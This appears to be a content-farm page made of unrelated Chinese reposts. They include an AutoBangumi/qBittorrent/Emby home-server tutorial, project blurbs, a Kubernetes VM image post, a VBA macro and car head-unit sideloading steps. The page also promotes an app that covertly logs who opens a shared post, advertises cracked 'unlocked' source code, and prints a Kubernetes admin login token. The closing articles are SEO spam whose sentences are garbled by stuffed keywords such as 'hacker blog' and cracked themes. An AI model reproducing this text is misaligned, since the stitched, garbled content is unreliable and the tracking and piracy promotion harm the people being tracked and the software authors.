这个项目是基于 Mikan Project、qBittorrent 的全自动追番整理下载工具。只需要在 Mikan Project 上订阅番剧,就可以全自动追番。并且整理完成的名称和目录可以直接被 Plex、Jellyfin 等媒体库软件识别,无需二次刮削。所以我们可以通过一次搭建彻底解决看番烦恼。

准备

一台服务器/NAS/电脑

一枚蜜柑账号(已被墙)CN站点:Mikan Project CN

服务器我这里选择的是腾讯云的轻量服务器。个人推荐是买海外地区的。比如新加坡、硅谷、东京这几个地区,这几个地区的服务器线路相对较好。当然如果对价格不敏感的话也可以选择香港地区或者买带宽超过7M的境内服务器

服务器推荐

国内服务器带宽小但是胜在稳定。7M的带宽可以覆盖绝大部分的动漫的码率。

蜜柑账号就直接注册一个即可。然后在账号设置中打开高级订阅。

蜜柑账号
蜜柑账号1
注册完成之后我们需要RSS订阅自己想要看的番剧。订阅可以选择订阅该番剧的全部资源/指定字幕组/指定语言。

下图为示例图:①代表订阅全部资源 ②订阅该发布组的资源可选③简中、繁中、全部
RSS订阅番剧
目前出种速度上大部分都是巴哈上播放之后10分钟以内就有内嵌繁中的web源,而简中资源一般会1-7天内出,冷门番剧的话可能没有中文字幕。我个人是喜欢先看繁中资源,剧情要是好看的话就等简中资源出来再看一遍。

订阅之后就会显示如下图标。
番剧资源字母中文繁体
此时点击首页最上方菜单栏的订阅就可以看到订阅的番剧了,RSS订阅则是我们接下来要用到。格式如下

AutoBangumi中需要的token就是token=后面的一串字符

https://mikanani.me/RSS/MyBangumi?token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# 或者
https://mikanime.tv/RSS/MyBangumi?token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

全自动追番系统搭建教程

AutoBangumi 部署

部署程序非常简单,我这里以2c2g的硅谷debian服务器作为演示,进入控制台,先登录指定服务器。可以先在服务器防火墙安全组开放后面需要用到的端口号:7892

服务器开放安全组端口

安装Docker

先更新软件源:

sudo apt update -y && sudo apt upgrade -y

使用官方的安装脚本:

curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh

创建数据和配置文件夹

为了保证 AB 在每次更新之后数据和配置不丢失,推荐使用 Docker volume 或者 bind mount 进行数据和配置的持久化。下列操作可以通过sudo su命令切换到 root 用户进行操作

# 使用 Docker volume
docker volume create AutoBangumi_config
docker volume create AutoBangumi_data
​
# 使用 bind mount
mkdir "AutoBangumi"
cd "AutoBangumi"
mkdir -p $PWD/config
mkdir -p $PWD/data

使用 Docker-cli 部署 AutoBangumi

复制以下命令运行即可。

docker run -d \
  --name=AutoBangumi \
  -v AutoBangumi_config:/app/config \
  -v AutoBangumi_data:/app/data \
  -p 7892:7892 \
  --network=bridge \
  --dns=8.8.8.8 \
  --restart unless-stopped \
  estrellaxd/auto_bangumi:latest

如果使用 bind mount,可以自行替换绑定路径。

此时 AB 的 WebUI 会自动运行,但是主程序会处于暂停状态,可以进入 http://abhost:7892 进行配置。

此时 AB 会自动把环境变量写入 config.json 文件中然后自动运行。

推荐使用 Portainer 等带有 UI 的 Docker 管理器进行进阶部署

Qbittorrent安装

我们这里安装的是4.3.9版本

cd /root
wget https://github.com/userdocs/qbittorrent-nox-static/releases/download/release-4.3.9_v1.2.15/x86_64-qbittorrent-nox
chmod +x x86_64-qbittorrent-nox
./x86_64-qbittorrent-nox 

输入y就可以安装了,然后CTRL+C退出

默认登录的用户名和密码为admin adminadmin,登陆地址为公网IP:8080。

把下列代码整体复制粘贴到命令行。让qbittorrent可以作为服务长久运行。

cat << "EOF" > /etc/systemd/system/qbittorrent.service
[Unit]
Description=qBittorrent Daemon Service
After=network.target
​
[Service]
LimitNOFILE=512000
User=root
ExecStart=/root/x86_64-qbittorrent-nox
​
[Install]
WantedBy=multi-user.target
EOF

更新并启动服务

# 更新配置
systemctl daemon-reload
# 启动服务
systemctl start qbittorrent
# 查看状态
systemctl status qbittorrent
# 重启服务
systemctl restart qbittorrent

启动服务

登录qb的webui页面进行配置并且进行重启服务

配置AutoBangumi

输入服务器的 公网IP:7892进入webUI页面默认的用户名为:admin 密码为adminadmin,务必第一时间修改密码!
登陆界面
进入设置页面,首先修改下载设置

qb的地址改为公网地址,密码改成修改后的密码

后台界面

然后修改解析器,填入之前在蜜柑获取的token,把解析器类型改为蜜柑即可。最后再进行应用

蜜柑获取的token
应用

应用之后就可以再qb界面看到下载资源了

资源下载
可以看到我们订阅的番剧了
订阅的番剧

在线播放

如果要实现在线播放有几种方法。

1、优雅的emby、plex、jellyfin媒体管理程序

都是优秀的媒体管理程序,直接适配,不需要再进行搜刮。

2、直接搭建一个服务器的文件浏览器。直接看。没啥美感,但是极致的简单

这里介绍一下建一个Emby的服务器。

直接进入官网下载页面按照教程即可。

https://emby.media/linux-server.html

wget https://github.com/MediaBrowser/Emby.Releases/releases/download/4.7.13.0/emby-server-deb_4.7.13.0_amd64.deb
dpkg -i emby-server-deb_4.7.13.0_amd64.deb

快速搭建一个全自动追番系统在线播放

完成后打开公网IP:8096 ,打不开先看看防火墙规则是否开放了8096端口。

emby服务器
进入配置页面,设置一下管理员账号、语言以及qb的下载文件夹即可

管理配置
完成之后登录就可以看到啦

番剧追剧系统

然后把emby的地址填入AutoBangumi的media player Setting里即可

最后的效果。
快速搭建一个全自动追番系统,从此追番快人一步

朋友圈访客记录查询教程
如何查看微信朋友圈访客记录的方法?下载悄悄朋友圈APP

  1. 下载登录后使用
  2. 发布动态
  3. 分享到微信朋友圈如果有人看了你的朋友圈,就会在通知你 可以点下首页看看谁看了你的朋友圈哦
    原理就是发一个类似笔记一样的动态,不管对方和你是不是好友,只要通过朋友圈点开了,点开的时间点和次数以及停留时间就会被统计。最新朋友圈查看访客技术/外卖收费88的

七夕情侣飞行棋游戏限定解锁版源码,七夕情侣飞行棋限定版本源码已经发布!这是一款专为情侣打造的桌游,让您与您的另一半一起感受浪漫的体验。

更为重要的是,这个版本已经移除了路由器限制,解锁了全部功能,而且没有任何加密措施,您只需将源码上传至服务器即可畅玩。

密码都是:111111

七夕情侣飞行棋游戏限定解锁版源码

介绍

Stargazers是一个 web 应用,它允许你添加任意数量的 GitHub 账户,并且对这些账户的 star 列表进行查询与分析。
一些应用截图:
Stargazers - 分析并探索任意 GitHub 账户的 star 列表

Stargazers - 分析并探索任意 GitHub 账户的 star 列表1
Stargazers - 分析并探索任意 GitHub 账户的 star 列表2

主要功能

  • 支持添加任意数量的 GitHub 账户
  • 支持通过用户搜索、GitHub OAuth 或者一键按钮(通过 userscript 实现)等多种方式来添加账户
  • 支持通过 star 时间,编程语言,仓库信息等多种方式进行查询
  • 支持分析 star 列表
  • 暗色模式支持
  • 手机端支持

    用户脚本

    从 greasyfork 安装

在 GitHub 的用户资料页添加一个按钮,可以一键将该用户添加到 Stargazers.
Stargazers

其他

项目地址: https://stargazers.dev

本项目完全开源,更多细节可以去 GitHub 仓库查看: https://github.com/yuyinws/stargazers

欢迎大家使用并提出问题和建议~

废话少说,先上 wordpress 的下载链接:

https://github.com/heguangyu5/bpc-wordpress-6.2.2-zh_CN/releases

3 个可执行文件,分别可以在 Ubuntu 18.04 / 20. 04 / 22.04 上直接运行.

其中 wordpress-althttpd-ubuntu-22.04-amd64 补上两个缺失的类库也可以在 Debian 12 上运行.

详见 README.md

主要功能如: 文章,媒体,页面,评论,外观(主题切换),用户,设置(语言切换) 都可用.

关于 BPC

不了解 BPC 是什么的可以翻看之前的帖子.

简言之,BPC 可以将 PHP 代码最终转译成 C 语言,然后编译成动态链接库或者可执行程序,实现 PHP Native AOT.
PHP 编译器 BPC 6.3 发布,支持 mysqli 扩展,成功编译 wordpress,来体验一下单文件版的 wordpress 吧!

简介:

搭建过k8s童鞋应该都懂搭建的痛苦,现分享k8s三主两从高可用架构虚拟机镜像,下载后直接导入vmware虚拟机即可,省去搭建烦恼,直接开始k8s学习之旅。

环境

系统:CentOS 7.9 内核版本:6.4
Kubernetes :v1.28.0
etcd : 3.5.9
helm:3.12.3

节点分布

192.168.1.51  - 192.168.1.53 为master节点,用nginx做高可用,etcd做共享存储
192.168.1.54  - 192.168.1.55 为node节点

查看po状态

[root@k8s-master01 ~]# kubectl get po -A
NAMESPACE     NAME                                       READY   STATUS    RESTARTS      AGE
default       tomcat6-64cdbd884f-shnnk                   1/1     Running   0             175m
kube-system   calico-kube-controllers-5bf57cc9c8-4mp4h   1/1     Running   6 (42m ago)   3h23m
kube-system   calico-node-4bvmp                          1/1     Running   0             3h23m
kube-system   calico-node-c55hh                          1/1     Running   0             3h23m
kube-system   calico-node-jqnvf                          1/1     Running   0             3h23m
kube-system   calico-node-sz6jb                          1/1     Running   0             3h23m
kube-system   calico-node-zx7gp                          1/1     Running   0             3h23m
kube-system   calico-typha-c6589cbc7-x2szw               1/1     Running   0             3h23m
kube-system   coredns-coredns-5959ff9594-kk4q8           1/1     Running   0             3h15m
kube-system   kubernetes-dashboard-65cd84fc57-wjh8l      1/1     Running   0             3h6m
kube-system   metrics-server-5fcd46896-wjbq2             1/1     Running   0             3h12m

查看k8s资源状态

[root@k8s-master01 ~]# kubectl  top node
NAME           CPU(cores)   CPU%   MEMORY(bytes)   MEMORY%   
k8s-master01   97m          4%     1075Mi          58%      
k8s-master02   80m          4%     922Mi           50%      
k8s-master03   72m          3%     818Mi           44%      
k8s-node01     38m          1%     447Mi           24%      
k8s-node02     51m          2%     582Mi           31%

测试ingress

[root@k8s-master01 ~]# kubectl get svc
NAME         TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)          AGE
kubernetes   ClusterIP   10.96.0.1      <none>        443/TCP          3h34m
tomcat6      NodePort    10.109.93.51   <none>        8080:32371/TCP   176m

[root@k8s-master01 ~]# curl -I 192.168.1.51:32371
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"7454-1491118183000"
Last-Modified: Sun, 02 Apr 2017 07:29:43 GMT
Content-Type: text/html
Content-Length: 7454
Date: Mon, 28 Aug 2023 06:53:19 GMT

加本地hosts测试 192.168.1.9 www.aaa.com
本地hosts测试

访问dashboard
地址:https://192.168.1.51:31518/
获取登录token
获取登录token:

[root@k8s-master01 ~]# kubectl -n kube-system create token admin-user
eyJhbGciOiJSUzI1NiIsImtpZCI6IlhMbXJKcXlsYW05cVNONmZ6R08zY3djMlBGMmZzS3pSZ2hBOVo2TldPVUUifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjkzMjA5NDcxLCJpYXQiOjE2OTMyMDU4NzEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJhZG1pbi11c2VyIiwidWlkIjoiZDljNzk0MGMtZTUwZi00ODY1LTg0YmYtZmMwOTgwZWU5NmRhIn19LCJuYmYiOjE2OTMyMDU4NzEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTphZG1pbi11c2VyIn0.LdFqlu0e18rPG_TgAq535us7fGNOOtu3luFapxaFWe8NwUMmZ1QeTCcaeRhhNPlhTvwwroVksA-jcI2zVkCUWnZUNuCnmf9Ro7N-VlryXNNBb98SGojlgDLdJQRmMoW-A-RNH5NUfwenDuuL3WGs1q8FjCSNil3ok3X3yQSX7M0WA-9zCGJSJBDFxWqfB5rMfsbuQo3nPKbWECXL-wAgAhgPXOIxQgrCfTtNkMJBAH0pmxVon6yv3QKpFYYvLIDyelxJ-F_zZ53k0-wwAiQ-uDZx243LPVPetrJjNM6AfVYFaeNWv-IaRw3S3F4T-B7R2o7sA1Agq6STq6T4KJQLEg

k8s三主两从高可用架构虚拟机镜像
k8s虚拟机下载:https://www.aliyundrive.com/s/G27E2ZNYYwd
文件里面有.mp4后缀的删除.mp4即可,阿里云盘对文件的限制

若是用默认3.x版本内核会出现很多bug,k8s都建议升级到5.x版本以上,本镜像升级到最新稳定版本。
github上有很多人都测试了的,一下是其中之一
https://github.com/coreos/bugs/issues/254

出于工作需要,自己编写了一套Python程序来提取多个不同Excel文档中特定数据到指定新Excel文档中指定位置的一个小程序。
因使用到了openpyxl库,而该库只对xlsx发生作用,可实际收集到的文档是xlsx和xls的混合,当然了,告知发送人改为xlsx也不是不可以
但我还是倾向于用技术解决,幸搜寻到了一份批量将xls到xlsx的vba代码,将内置于一个新的Excel文档中,保存在文档文件夹下,运行该vba后
即可以批量将该文件夹下的多层文件夹内的xls文档另存为xlsx,避免了逐个打开后再另存为的机械动作,提高了工作效率。
作为工作日志,记录在这里,也方便有需要的朋友使用。

'***********访问当前文件夹下所有子文件夹及文件,
Dim iFile(1 To 100000) As String
Dim count As Integer

Sub xls2xlsx()
    iPath = ThisWorkbook.Path
    On Error Resume Next
    count = 0
    zdir iPath
    For i = 1 To count
        If iFile(i) Like "*.xls" And iFile(i) <> ThisWorkbook.FullName Then
            MyFile = iFile(i)
            FilePath = Replace(MyFile, ".xls", ".xlsx")
            If Dir(FilePath, 16) = Empty Then
                Set WBookOther = Workbooks.Open(MyFile)
                Application.ScreenUpdating = False
                ActiveWorkbook.SaveAs Filename:=FilePath, FileFormat:=xlOpenXMLWorkbook, CreateBackup:=False
                WBookOther.Close SaveChanges:=False      '解决不能close 文件问题
                Application.ScreenUpdating = True
            End If
        End If
    Next
End Sub

Sub zdir(p)       '访问当前文件夹下所有子文件夹及文件
  Set fs = CreateObject("scripting.filesystemobject")
  For Each f In fs.GetFolder(p).Files
    If f <> ThisWorkbook.FullName Then count = count + 1: iFile(count) = f
  Next
  For Each m In fs.GetFolder(p).SubFolders
      zdir m
  Next
End Sub

批量将xls到xlsx的vba代码

准备工具:U盘、 电脑等

①通过电脑把下载好的安装包复制到优盘

②将U盘插入车机USB接口

③打开拨号输入#201301#然后在左边下拉到底,点击自动化测试,然后点击原生主页,找到ES文件浏览器打开(也可以用语音打开)

④进入es文件浏览器以后,左边黑色。那一块往上拉,找到根目录。然后点击mnt/udisk( U盘路径)然后找到刚才下载好的安装包文件

⑤长按并选择刚才下载好的安装包,然后点击屏幕下方的复制,然后再点屏幕右下角取消

⑥然后在ES文件浏览器左边黑色部分,找主页点击,屏幕下方会出现一个新键

⑦点击新建 ,会出现一个弹窗,将第1条改为本地,第2条输入/data/app输入完以后点击屏幕左下角窗口,然后在屏幕正上方点击剪贴板,粘贴,长按音量下键重启两次,等待安装包安装完成

⑧两次重启完成以后,打开拨号输入#201301#左边最底下找到自动化测试,进入原生主页,就可以看到已经安装好的软件,但是桌面不会显示图标

⑨可以通过安装第三方桌面或者侧边栏来启动安装好的第三方软件

⑩至此软件安装完成,如需卸载原车高德,原桌面显示第三方软件可通过ROOT车机后更改桌面程序WT_Launcher来实现!

长安19_20款CS75PLUS安装第三方软件教程

ACG2vec全称为Anime Comics Games to vector 。本 repo 会持续维护一些基于二次元相关的深度学习领域实践与探索。

在线预览(目前包含文本搜索、以图搜图、文本搜图、图片分数预测):https://cheerfun.dev/acg2vec/

开源仓库:https://github.com/OysterQAQ/ACG2vec

演示页前端开源仓库:https://github.com/wewewe131/acg2vec-frontend

以上两个仓库求个 star QAQ???

目前模块包括:

  • model:深度神经网络模型模块,目前包括

    1. acgvoc2vec:基于从维基百科动漫列表、萌娘百科、Bangumi 、pixiv 、AnimeList 等来源获取清洗处理抽取的 510w 语句对微调的 sentence-transformers 模型,生成二次元相关文本的特征向量,用于各种下游任务(标签推荐,标签搜索,推荐系统等)
    2. 可以使用 Huggingface 在线体验:https://huggingface.co/OysterQAQ/ACGVoc2vec
    3. dclip:使用 danburoo2021 数据集对 clip ( ViT-L/14 )模型进行微调。
    4. 可以使用 Huggingface 在线体验:https://huggingface.co/OysterQAQ/DanbooruCLIP
    5. pix2score:基于 resnet101 的多任务模型,用于预测动漫插图的收藏数、浏览数与琴瑟级别
    6. illust2vec:从DeepDanbooru模型去除预测头并对末尾层做均值池化的图片语义特征抽取模型
  • webapp:对外提供 web 服务模块。目前包括开箱即用的二次元插画标签预测服务、以图搜图服务、插画特征抽取服务、文本特征抽取服务
  • docker:基于容器化的部署模块,包括了部署所需要的配置文件与资源文件

语义文本搜索
语义文本搜索
语义图像搜索
语义图像搜索
插画综合评分预测
插画综合评分预测
以图搜图
以图搜图

在 R 语言里做可视化数据探索,少不了要用 ggplot 一类的包。但是在数据探索阶段不想写太多代码,而且也记不住那些 function 的名字。。 所以俺最近做了 GWalkR ,一行代码,开启在 R 中的数据探索之旅!

GWalkR 是 R 中的交互式探索性数据分析( EDA )工具。 它整合了 htmlwidgets 和 Graphic Walker。 通过将你的 data frame 转换为 Tableau 风格的用户界面进行可视化探索,它可以简化 R 数据分析和数据可视化工作流程。

一个可以在 R Studio 中用一行代码将数据集转化为交互式可视化界面的工具
用一行代码开始你的数据探索吧!

library(GWalkR)
data(iris)
gwalkr(iris)

一个可以在 R Studio 中用一行代码将数据集转化为交互式可视化界面的工具1

  纯情博客为您提供最新网络安全黑客博客信息资讯

  作为目前最受欢迎的内容管理系统之一,为用户提供了丰富的功能和灵活的扩展性。而在网站开发中,图片是不可或缺的一部分,而图床插件则是辅助用户上传和管理图片的重要工具。下面将从多个方面详细介绍图床插件的选择与使用。

  1.插件概述

   图床插件是一种能够帮助用户将图片上传到云存储空间视频培训脚本脚本源码,并自动生成图片链接的工具。它能够简化用户上传图片的流程,提高网站加载速度,并节省服务器存储空间。

  2.图床插件的优势

   -提高网站加载速度:通过将图片上传到云存储空间,可以减轻服务器负担,加快网站加载速度。

   -节省服务器存储空间:将图片存储在云端黑客纯情,可以大幅减少服务器存储压力,节省服务器资源。

   -方便管理图片:图床插件提供了丰富的管理功能wordpress图床插件,可以方便地对上传的图片进行分类、搜索和编辑等操作。

  3.图床插件的选择

   在选择适合自己网站需求的图床插件时,可以考虑以下几个因素:

   -兼容性:插件是否与当前使用的版本兼容,是否与其他插件冲突。

   -功能丰富度:插件是否提供了丰富的功能,如图片压缩、图片裁剪、图片水印等。

   -可靠性:插件是否稳定可靠,是否有持续的更新和技术支持。

   -用户评价:可以参考其他用户对插件的评价和使用经验,选择口碑较好的插件。

  4.推荐的图床插件

   -插件A:该插件支持将图片上传到多个云存储平台,如七牛云、阿里云等wordpress图床插件,并提供了丰富的图片管理功能。它还支持自定义图片样式和图片压缩等高级功能。

   -插件B:该插件提供了简洁易用的界面,支持将图片上传到国内外多个知名云存储平台。它还提供了智能裁剪和自动优化等功能培训脚本,可以帮助用户快速优化图片加载速度。

  5.图床插件的安装与配置

   安装图床插件通常只需几个简单步骤:

   -在后台选择“插件”-“添加新插件”wordpress图床插件,搜索并安装所需的图床插件。

   -激活插件后,进入插件的设置页面进行相关配置收费插件,如选择云存储平台、填写API密钥等。

   -配置完成后wordpress插件,即可开始上传和管理图片,将插件提供的图片链接嵌入到文章或页面中。

  6.注意事项

   -图床插件使用的是云存储空间,需要用户自行注册并获取API密钥,并注意保管好密钥信息。

   -图床插件可能会对网站加载速度产生一定影响,需要根据实际情况进行优化和调整。

   -在使用图床插件时wordpress图床插件,建议对图片进行适当的压缩和优化黑客纯情,以提高网站加载速度和用户体验。

  7.结语

   选择合适的图床插件能够大幅提升网站的图片管理效率和访问速度。通过合理配置和使用图床插件,可以轻松实现图片的上传、管理和展示typecho主题,为用户带来更好的浏览体验。

  黑客博客网站源码和主题破解版是网站开发中常用的资源,而主题网站源码免授权破解则是搭建个人博客的不错选择。希望以上内容对您有所帮助。

  纯情博客为您提供最新网络安全黑客博客信息资讯

  一、励志网站源码的背景和意义

  励志网站源码作为一种助力个人成长和激发潜能的工具励志网站源码,已经成为越来越多人关注的焦点。通过借鉴他人成功的经验和故事,我们可以在追寻梦想的道路上得到启发和指引。然而,市场上的励志网站源码琳琅满目,如何选择适合自己的一款成为了摆在我们面前的难题。

  二、界面设计与用户体验

  一个好的励志网站源码首先应该拥有吸引人眼球的界面设计。通过运用精美的图片、独特的配色方案以及清晰简洁的页面布局,能够有效吸引用户注意力并提升用户体验。此外,一个优秀的励志网站源码还应该具备良好的导航结构,方便用户快速找到自己感兴趣的内容。

  三、内容质量与更新频率

  励志网站源码最重要的部分就是其中所包含的内容。优质、原创且有深度的文章能够打动读者内心黑客技术,给予他们正能量和激励。同时,内容的更新频率也是评价一款励志网站源码的重要指标之一。一个定期更新且保持高质量的网站收费主题,能够吸引更多的用户,并给他们带来持续的动力和启发。

  四、交互功能与社区氛围

  除了丰富的内容,一个优秀的励志网站源码还应该提供丰富多样的交互功能,如评论、点赞、分享等。这些功能不仅可以增加用户的参与度,也能够促进用户之间的互动和交流,形成良好的社区氛围。在这个社区中励志网站源码,用户可以相互倾诉心声、分享成功故事和经验,从而获得更多正能量和支持。

  五、移动端适配与响应式设计

  随着移动设备的普及和使用频率的增加,励志网站源码也需要具备良好的移动端适配能力。一个优秀的励志网站源码应该能够自适应不同尺寸的屏幕,并提供流畅舒适的浏览体验。同时国内 chatgpt网站源码,在移动端还可以通过推送消息等方式及时将正能量传递给用户脚本源码,让用户随时随地都能得到激励。

  六、安全性与可靠

  对于用户来说typecho插件,一个安全可靠的励志网站源码是必不可少的。网站应该采取一系列的安全措施黑客技术,保护用户的个人信息和隐私不被泄露。此外励志网站源码,网站运行的稳定性也是考察其可靠性的重要指标之一。只有保证了安全性和可靠性,用户才会放心地使用,并且愿意长期关注和支持。

  七、价格与售后服务

  在选择励志网站源码时,价格也是需要考虑的因素之一。用户需要根据自己的需求和预算来选择适合自己的产品。同时,售后服务也是评价一款励志网站源码好坏的重要指标之一。一个贴心周到、及时响应用户需求的售后团队,能够给用户带来更好的体验和服务。

  八、综合评价与推荐

  综上所述,针对励志网站源码的评测对比可以从界面设计、内容质量、交互功能、移动端适配、安全性、价格和售后服务等多个方面进行综合评价。根据以上几点要素,我们为大家推荐两款备受好评的励志网站源码黑客博客和励志网站源码

  黑客博客作为一款功能强大、界面精美的励志网站源码,拥有丰富多样的内容和良好的用户体验。它提供了多种交互功能,如评论、点赞、分享等,让用户能够与他人进行互动和交流。同时,黑客博客还具备出色的移动端适配能力,用户可以随时随地获取正能量。此外,黑客博客还提供了安全可靠的环境,并且价格合理励志网站源码,售后服务也非常周到。

  励志网站源码作为另一款备受好评的产品,同样具备了优秀的界面设计和丰富多样的内容。它还提供了独特的社区氛围,让用户能够相互交流和分享成功故事。励志网站源码也兼顾了移动端适配和安全性,并且价格实惠,售后服务也值得称赞。

  综上所述,选择一款优秀的励志网站源码对于个人成长和激发潜能至关重要。通过对比评测不同产品的界面设计、内容质量、交互功能、移动端适配、安全性、价格和售后服务等方面网站源码,我们可以选择适合自己的一款励志网站源码,从而在追寻梦想的道路上不断前行。

  纯情博客为您提供最新网络安全黑客博客信息资讯

  比如现在很多免费的股票数据库,其实都是从新财经或者东方财富的网站爬取的。 如果可以直接从新浪财经或东方财富网站抓取数据网络培训脚本插件,可以获得更全面、更实时的信息。

  您可以按如下方式输入提示词:

  写一段代码,利用该库爬取网页上的股票数据。 具体步骤如下:

  用户输入股票名称收费主题,在“全部A股股票名称”中查找对应的股票代码。

  打开网站:{stock}/nc.shtml;

  获取div元素内容,设置为变量网站源码,输出:{stock}当前股价为{};

  获取id=""的div元素内容,设置为变量,输出:股价获取时间为{};

  获取xpath= //*[@id=""]/table/tbody/tr[1]/td[2]的td内容,设置为变量,输出:{stock}的交易量为{ };

  获取xpath= //*[@id=""]/table/tbody/tr[2]/td[2]的td内容,设置为变量黑客博客,输出:{stock}的成交额为{} ;

  获取xpath= //*[@id=""]/table/tbody/tr[2]/td[3]的td内容,设置为变量,输出:{stock}的换手率为{ };

  运行后财经网站源码,新浪财经网站打开不正确财经网站源码网络培训脚本插件,原因是股票代码没有正确转换

  告诉它修改:(代码)转换函数错误财经网站源码财经网站源码wordpress主题,代码末尾的.SZ或.SH必须去掉

  运行后报错,输入错误信息让它发现并改正错误:前面的代码没有考虑可能出现的异常情况。 修改了代码脚本源码,添加了异常处理以避免程序崩溃,并对 () 函数进行了相应调整。

  继续报错收费插件,继续发现错误并修改:用方法替换传入正确的参数。

  财经网站源码

  然后正确运行:

  成功获取实时股价信息: